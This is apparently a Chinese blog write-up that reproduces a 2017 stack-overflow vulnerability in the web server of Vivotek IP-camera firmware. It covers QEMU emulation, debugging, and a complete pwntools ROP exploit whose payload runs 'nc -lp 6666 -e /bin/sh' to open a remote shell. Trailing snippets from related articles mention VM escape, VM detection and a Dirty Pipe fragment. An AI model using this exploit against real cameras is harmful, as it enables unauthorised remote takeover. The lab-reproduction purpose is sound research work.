vivotek 栈溢出漏洞复现

一颗小胡椒2022-07-08 16:29:21

一、前言

近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手。

二、固件仿真

虚拟机环境:Ubuntu 20.04

gdb版本:GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2

固件下载地址:https://github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip

从上面的地址下载还有漏洞的固件,使用binwalk分离出来文件系统,发现问题文件httpd位于/usr/sbin目录下,使用file命令查看文件类型‍

因为是arm架构的所以没法在本地跑,使用QEMU模拟运行

因为QEMU模拟的环境不会挂载dev和proc,所以我们这边将固件系统的这两个目录挂载到虚拟机的dev和proc中。

sudo mount -o bind /dev ./squashfs-root/dev/
sudo mount -t proc /proc/ ./squashfs-root/proc/

再次运行httpd文件,发现这次报了其他的错误

打开ida定位报错语句的位置,可以看到/etc/conf.d/boa/boa.conf文件打开失败导致的

本地ls查看会发现conf.d是链接到/mnt/flash/etc/conf.d的,并且该目录为空

尝试在其他目录中寻找boa.conf文件,最终在如下的目录找到了它,将此目录下的/etc复制到/mnt/flash/目录下

再次运行httpd文件,发现报了如下错误

老办法通过IDA搜索报错字符串,定位到如下位置,可以发现报错原因是因为此程序中使用gethostname函数将主机名保存在rlimits中,并使用gethostbyname函数通过主机名找到IP地址。但是最终因为我们的主机名与固件中的主机名不同所以无法获取到IP地址。

这里我们可以通过hostname命令查看本机名,然后以我的本机名为例修改squashfs-root/etc/hosts中的内容

echo "127.0.0.1 amall-virtual localhost" > squashfs-root/etc/hosts

修改完成后再次运行httpd文件,可以看到已经成功启动

三、漏洞分析

我们根据poc来验证漏洞

echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0Content-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\r\r"  | netcat -v 127.0.0.1 80

验证成功,可以看到程序崩溃信息。我们根据poc可以了解到漏洞是在Content-Length中出现的,从IDA中搜索字符串然后查看交叉引用定位到漏洞位置所在

根据反汇编的代码我们可以了解到,程序在处理Content-Length字符串的内容时,使用strncpy函数保存从:到之间的字符串,但是可以看到其中并没有对长度进行检测导致了用户可以输入任意长度的字符串造成栈溢出。

四、漏洞复现

在arm的栈溢出中,我们首要考虑的就是如何劫持pc寄存器,而这个偏移可以通过动调获得。

看一下保护,开启了NX保护所以无法利用shellcode,考虑使用ROP来绕过NX保护。


为了能够查看程序的执行流程,这里选择将文件系统和gdbserver一起传到qemu虚拟机里,下面的内容根据driverxdw师傅的这篇文章整理得到。

从arm-debian的qemu镜像地址下载如下三个文件

https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile
https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile
https://people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2

在本地新建一张网卡用于和qemu虚拟机通信

sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24

启动qemu虚拟机镜像

qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1"  -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

启动成功后会让你输入用户名密码,默认用户名/密码:root/root,然后在qemu虚拟机中配置网卡信息,这样qemu虚拟机就可以和本地进行通信了

ifconfig eth0 192.168.2.2/24

接下来使用ftp把固件的文件系统get到qemu虚拟机中,此时我们就可以挂载/dev和/proc了。

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc/ ./squashfs-root/proc/

最后切换到固件的文件系统中,并运行漏洞文件

chroot squashfs-root sh
./usr/sbin/httpd

这时我们就可以开始调试工作了,采用gdb-multiarch&gdbserver的方式。但是在试过网上编译好的gdbserver以后都无法在远程target remote到,最后在这篇文章中找到了答案,按照上面的步骤我编译了一份与我本地gdb版本相同的gdbserver-static,文件上传到github上了有需要的师傅可以自行下载。

github地址:https://github.com/AmaIIl/gdbserver-static-9.2-arm

有了对应版本的gdbserver就可以开始远程调试了,具体命令如下所示

./gdbserver-static 127.0.0.1:1234 --attach 

然后写一个gdbinit把重复的命令写进去方便调试

# gdb-multiarch -x gdbinit
file ./usr/sbin/httpd
set architecture arm
target remote 192.168.2.2:1234

我们将断点下在函数退栈的位置,然后计算其与输入地址的差值就可以得到溢出偏移。为了降低利用难度这里关闭qemu虚拟机的aslr保护,可以节省几步内存泄露的步骤。

sudo sysctl -w kernel.randomize_va_space=0

通过动调我们可以得到需要的所有条件:溢出偏移、栈地址、libc地址。但是要构造ROP还需要一些gadget,使用ropper搜索我们需要的gadget,最终我们需要构造的就是system("XXX")的效果,所以需要能控制pc和r0寄存器的gadget,同时因为程序漏洞使用strncpy函数所以gadget中不能含有零字符,所以最终选择了这两段gadget

0x00048784: pop {r1, pc};
0x00016aa4: mov r0, r1; pop {r4, r5, pc};

exp如下所示

from pwn import *
context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
p = remote('192.168.2.2', 80)
libc = ELF('./squashfs-root/lib/libc.so.0')
stack = 0xbeffeb64
base = 0xb6f2d000
system = base+libc.sym['system']
pop_r1_pc = 0x00048784+base
mov_r0_r1 = 0x00016aa4+base # mov r0, r1; pop {r4, r5, pc}; 
head = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0Content-Length:"
payload = 'b'*(0x00003c-8)+p32(pop_r1_pc)+p32(stack)+p32(mov_r0_r1)+'b'*8+p32(system)
end = 'nc  -lp 6666 -e /bin/sh;'+'\r\r'
sl(head+payload+end)
shell()

脚本执行成功后会开启6666端口,这时只要用nc远程连接即可getshell

五、总结

还是那个感觉,复现iot最难的步骤还是环境搭建。在gdbserver那里卡住了很久,本地编译也是各种报错,不过好在最后都一一解决了。2017年的这个栈溢出漏洞整体利用难度不算高,感兴趣的师傅们可以动手试着复现一下。

参考链接

https://www.anquanke.com/post/id/185336#h2-3

https://xz.aliyun.com/t/5054#toc-2

https://bbs.pediy.com/thread-220907.htm

虚拟机qemu
本作品采用《CC 协议》,转载必须注明作者和本文链接
阿里云已于2019年12月完成该漏洞的修复,云上主机已不受该漏洞影响。2020年08月13日,ISC2020第八届互联网安全大会上,该漏洞被公开。该漏洞可越界读写某一个堆之后0xffffffff的内容,可实现完整的虚拟机逃逸,最终在宿主机中执行任意代码,造成较为严重的信息泄露。经阿里云工程师分析后判定,该漏洞是 Qemu 历史上最严重的虚拟机逃逸漏洞,影响到绝大部分使用 OpenStack 的云厂商。如果您有相关需求或反馈,请提交工单联系阿里云。
虚拟机检测技术整理
2023-05-11 09:15:35
第一次尝试恶意代码分析就遇到了虚拟机检测,于是就想着先学习一下检测的技术然后再尝试绕过。学习后最终发现,似乎最好的方法不应该是去patch所有检测方法,而是直接调试并定位检测函数再绕过。但既然已经研究了两天,索性将收集到的资料整理一下,方便后人查找。恶意软件可以搜索这些文件、目录或进程的存在。VMware 虚拟机中可能会有如下的文件列表:C:\Program Files\VMware\
但是最终因为我们的主机名与固件中的主机名不同所以无法获取到IP地址。这里我们可以通过hostname命令查看本机名,然后以我的本机名为例修改squashfs-root/etc/hosts中的内容echo?验证成功,可以看到程序崩溃信息。但是要构造ROP还需要一些gadget,使用ropper搜索
建议先通一遍文章再动手复现,复现之前一定要保存虚拟机快照,防止出现各种问题。
关于MIPS架构的寄存器及指令集请自行查阅资料,这里就不多作介绍了。,则也会在prologue处保存下来,并在epilogue处取出。流水线指令集相关特性MIPS架构存在“流水线效应”,简单来说,就是本应该顺序执行的几条命令却同时执行了,其还存在缓存不一致性(cache
随着云计算的不断普及,云平台安全问题日益凸显。云平台资源共享、边界消失、动态变化等特点,使得传统基于边界的旁路式、外挂式防御手段无法有效应对云内安全威胁。因此,通过将安全机制与云平台融合设计,实现了对云平台内部威胁和攻击的可视、可控、可防,确保安全机制的不可绕过和性能开销最小。
0x00 摘要 大型黑客组织在bootkits的使用上有着长期的成功经验。bootkits是BIOS/UEFI中隐藏的特殊恶意代码,能够实现长期隐藏而不被发现,甚至在重新安装操作系统和更换硬盘驱动器后仍然存在。由于bootkits具有天然...
CVE-2019-10999 是 Dlink IP 摄像头的后端服务器程序 alphapd 中的一个缓冲区溢出漏洞,漏洞允许经过身份认证的用户在请求 wireless.htm 时,传入 WEPEncryption 参数一个长字符串来执行任意代码。
根据厂商的要求,在修补后的固件未发布前,我对该漏洞细节进行了保密。若读者将本文内容用作其他用途,由读者承担全部法律及连带责任,文章作者不承担任何法律及连带责任。此时,我们惊喜地发现xxx系列产品的xxx型号固件并没有被加密,可以成功解开。漏洞分析此部分以xxx固件为例进行分析,该固件是aarch64架构的。其他固件也许架构或部分字段的偏移不同,但均存在该漏洞。找到无鉴权的API接口显然,此类固件的cgi部分是用Lua所写的。
编译make x86_64_defconfig # 加载默认configmake menuconfig # 自定义config. 编译选项添加调试信息, 需要以下几行[*] Compile the kernel with debug info [*] Generate dwarf4 debuginfo [*] Provide GDB scripts for kernel debugging. 由于本虚拟机是只有很基本的环境,在调试漏洞之前还需要做一些操作, 创建/etc/passwd,?漏洞原理在调试之前首先根据补丁来简单了解一下漏洞造成的原因。Exp分析根据exp分析漏洞利用的细节,删除了部分检测利用条件、备份密码等漏洞利用不相关代码。const unsigned pipe_size = fcntl; static char buffer[4096];for { unsigned n = r > sizeof ?int main() { const char *const path = "/etc/passwd";const int fd = open; if { perror; return EXIT_FAILU
一颗小胡椒
暂无描述